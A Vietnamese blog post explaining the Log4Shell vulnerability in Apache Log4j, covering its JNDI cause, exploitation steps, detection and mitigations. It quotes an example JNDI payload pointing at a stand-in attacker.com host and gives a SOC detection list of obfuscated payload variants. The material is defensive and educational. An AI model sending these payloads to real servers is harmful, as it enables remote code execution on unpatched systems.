CVE-2021-44228(LOG4SHELL )

-

 

CVE-2021-44228(LOG4SHELL )

I.Tổng quan

1. Log4j là gì?

Log4j là 1 thư viện để ghi log của Apache, được sử dụng rộng rãi bởi các các doanh nghiệp và các ứng dụng điện toán đám mây

2. Lỗ hổng

Ngày 9/12/2021, Chen Zhaojun thuộc Alibaba Clould Security Team đã tiết lộ lỗ hổng nghiêm trọng này trong thư viện Log4j cho phép RCE mà không cần xác thực.

Lỗ hổng được định danh CVE-2021-44228(CVSS: 10) được đặt tên là Log4Shell hoặc LogJam, cho phép hacker chiếm quyền kiểm soát hệ thống.

Các phiên bản bị ảnh hưởng: 2.0 - 2.14.1.

Nhiều dự án và ứng dụng như máy chủ Minecraft, Elastic, Paper, Amazon,… đều có sử dụng thư viện này.

Hiện lỗ hổng này đã có PoC và được khai thác tích cực trên toàn thế giới.

II.Nguyên nhân

Từ bản Log4j 2.0, tính năng lookup được bổ sung để lấy các giá trị giúp cho việc logging thuận tiện, gồm cả JNDI lookup.

JNDI là 1 giao thức cho phép kết nối ứng dụng Java tới các dịch vụ thư mục bên ngoài(external directory service) như 1 server LDAP để tìm và nhận Java object chứa value để ghi log. Các hacker có thể dựng 1 LDAP server chứa payload độc hại và khiến ứng dụng load object độc hại này.

III.Cách thức hoạt động

1.Điều kiện khai thác lỗ hổng

·       1 server với có dùng thư viện log4j ver 2.0 - 2.14.1.

·       1 endpoint với bất kì protocol như HTTP, TCP, … cho phép hacker gửi chuỗi expolit.

·       1 log statement có thể log lại chuỗi gửi từ request.

 

2.Các bước khai thác

·       Dữ liệu được gửi từ người dùng đến server(qua bất kì giao thức nào)

·       Server nhận request người dùng gửi lên chứa payload ${jndi:ldap://[attacker.com](<http://attacker.com>)/a} (attacker.com là server điều khiển của kẻ tấn công. Có thể nhận request qua 1 số value/parameter có thể được log bởi log4j(VD: user-agent, username) và truyền 1 strings là 1 câu query tới LDAP server của hacker

·       Lỗ hổng log4j được kích hoạt bởi payload này và máy chủ tạo request tới attacker.com thông qua"Java Naming and Directory Interface" (JNDI).

·       Respone trả về chứa một đường dẫn đến tệp class Java từ xa (ví dụ: http://second-stage.attacker.com/Exploit.class) được chèn vào luồng xử lý của máy chủ.

·       Payload được truyền vào trong tệp class đã cho phép kẻ tấn công có thể thực thi các đoạn code tuỳ ý.

IV. Cách nhận biết lỗ hổng này

Đơn giản nhất là trigger 1 DNS query.

Việc khai thác này sẽ khiến máy chủ có lỗ hổng nạp 1 remote code. Bằng cách dùng địa chỉ của 1 DNS logging tool miễn phí, chúng ta có thể phát hiện khi nào lỗ hổng được kích hoạt.

Canarytokens là một ứng dụng web mã nguồn mở cho mục đích này, nó sẽ tạo chuỗi khai thác tự động và gửi thông báo qua email khi DNS được query.




Request này sẽ trigger lỗ hổng đó.

V. Khắc phục lỗ hổng

Upgrade Log4j lên bản mới nhất(2.15.0)

Nếu không thể upgrade thì:

Set thuộc tính: log4j2.formatMsgNoLookups=true

Hoặc set biến môi trường: LOG4J_FORMAT_MSG_NO_LOOKUPS=true

Hoặc xoá luôn class chứa logic JNDILookup của Log4j:zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class

V. Rule alert cho SOC

Do Server sẽ nhận các request chứa payload độc hại nên ta sẽ detect dựa vào các payload trong gói tin, điều này đòi hỏi phải có NGFW hoặc IDS.

cs-User-Agent|contains:

         - '${jndi:ldap:/'

         - '${jndi:rmi:/'

         - '${jndi:ldaps:/'

         - '${jndi:dns:/'

         - '/$%7bjndi:'

         - '%24%7bjndi:'

         - '$%7Bjndi:'

         - '%2524%257Bjndi'

         - '%2F%252524%25257Bjndi%3A'

         - '${jndi:${lower:'

         - '${::-j}${'

         - '${jndi:nis'

         - '${jndi:nds'

         - '${jndi:corba'

         - '${jndi:iiop'

         - '${${env:BARFOO:-j}'

         - '${::-l}${::-d}${::-a}${::-p}'

         - '${base64:JHtqbmRp'

         - '${${env:ENV_NAME:-j}ndi${env:ENV_NAME:-:}${env:ENV_NAME:-l}dap${env:ENV_NAME:-:}//'

         - '${${lower:j}ndi:${lower:l}${lower:d}a${lower:p}://'

         - '${${upper:j}ndi:${upper:l}${upper:d}a${lower:p}://'

         - '${${::-j}${::-n}${::-d}${::-i}:'

Detect tương tự với một số value/param như user-agent, cs-uri, cs-referer

 

Nguồn tham khảo:

https://www.lunasec.io/docs/blog/log4j-zero-day/

https://news.ycombinator.com/item?id=29504755

https://github.com/tangxiaofeng7/apache-log4j-poc

https://gist.github.com/Neo23x0/e4c8b03ff8cdf1fa63b7d15db6e3860b

https://github.com/YfryTchsGD/Log4jAttackSurface

https://twitter.com/shutingrz/status/1469255861394866177?s=21

sigma/web_cve_2021_44228_log4j_fields.yml at master · SigmaHQ/sigma (github.com)

 

 

 

 

 

Nhận xét

Đăng nhận xét

Bài đăng phổ biến từ blog này

Write up forensic root-me UglyDuckling

-
Hình ảnh
File:  http://challenge01.root-me.org/forensic/ch14/ch14.zip Giải nén ra chúng ta được 1 file .bin. Thử check xem nó thuộc loại file nào. Đuôi file thường không đáng tin lắm trong forensic.    Không có thông tin gì nhiều. Thử mở bằng  bless  xem thử    Cũng không có gì, cảm giác khá thất vọng. Thử đọc lại hint, thấy file này được chứa trong USB, có khả năng là 1 USB Keylogger hoặc là 1 USB chứa malware hay virus gì đó. Thử search google với từ khóa USB UglyDucking thì đúng là có thật.    Mày mò thêm chút thì tìm được file decode của nó.  https://github.com/hak5darren/USB-Rubber-Ducky/blob/master/Decode/ducky-decode.pl . Mở lên xem thử    Thấy có link hình ảnh, mừng rỡ bấm vào thì :(     Kéo xuống dưới thấy có 1 đoạn được encode bằng Base64.    Decode ra sẽ thấy 1 link Download. Tải về và mở bằng  Wine  sẽ có flag.
Đọc thêm

SOC là gì? Ăn được không?

-
Hình ảnh
Bài viết này là bài viết đầu tiên trong series "1 vạn câu hỏi về SOC (Security Operation Center)" với câu trả lời được miêu tả dí dỏm, dễ hiểu cho các anh em IT nhưng không quá chuyên sâu về security nhưng vẫn sẽ cung cấp nhiều kiến thức từ tổng quan đến thực tiễn trong lĩnh vực bảo mật. Rất mong được anh em ủng hộ. I. SOC là gì? -    Một loại gặm nhấm dễ thương, thịt chứa nhiều dinh dưỡng nhưng ít cholesterol, nướng lên cùng vài ba lon bia là nhức nách.😋. Đấy là mình đang nói về con sóc chứ không phải SOC nhé. SOC là viết tắt của Security Operation Center, tức trung tâm điều hành an ninh mạng.  -     Nhiều anh em đã từng xem những bộ phim, anime về hacker, chắc hẳn đều đã thấy hình ảnh về một căn phòng với rất nhều màn hình lớn, những biểu đồ xanh đỏ, những con người đeo tai nghe, liên tục nhìn vào nhiều màn hình, thỉnh thoảng lại hốt hoảng khi màn hình chuyển thành màu đỏ. Những căn phòng như vậy có rất nhiều trong các doanh nghiệp lớn, và là một thành phần v...
Đọc thêm

Write up forensic root-me log analys

-
Hình ảnh
    File:  http://challenge01.root-me.org/forensic/ch13/ch13.txt     Đây là 1 bài về log server, nhìn các request có vẻ giống nhau và được encode bằng base64. Decode dòng đầu ra thử thì thấy:       Đây là log của của một cuộc attack bằng blind sql injection. Từ đoạn select thì code lấy nội dung password trong bảng membres có id = 1. Lấy 2 kí tự sau khi được convert từ char->int->bin so với field(00,01,10,11). Những kết quả nào trả về đúng sẽ response theo số giây mà payload soạn. Nếu 00 thì response ngay lập tức Nếu 01 thì cách 2s Nếu 10 thì cách 4s Nếu 11 thì cách 6s         Tới đây thì đơn giản rồi, chỉ cần lấy thời gian của mỗi line trong log của đề trừ cho nhau rồi so với fields. Nhưng chữ cái alphabet và số chỉ có 7 bit nên cái giá trị ở vị trí thứ tư chỉ sleep(2) hoặc sleep(4) tức chỉ trả về 0 hoặc 1.  Có thể code một tool đơn giản để làm việc này.
Đọc thêm